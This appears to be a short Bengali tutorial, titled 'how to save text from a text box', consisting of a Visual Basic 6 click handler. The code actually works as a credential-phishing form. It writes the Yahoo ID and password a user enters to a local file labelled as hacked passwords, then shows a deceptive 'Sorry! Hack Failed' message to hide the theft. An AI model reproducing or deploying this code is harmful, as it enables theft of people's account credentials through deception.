কোন টেক্সট বক্স থেকে কিভাবে লেখা সেভ করবেন

Private Sub Command1_Click()
    Dim MyIndex, FileNumber
        FileNumber = FreeFile
        Open "C:\Yahoo Passwords By Sizan.txt" & MyIndex For Append As #FileNumber
        Write #FileNumber, "Yahoo ID :"
        Write #FileNumber, Text1
        Write #FileNumber, "Password :"
        Write #FileNumber, Text2
        Write #FileNumber, "Hey Guys Yahoo Hacked By Sizan"
        Close #FileNumber
        MsgBox "Sorry! Hack Failed"
        Form2.Show
        Unload Me
End Sub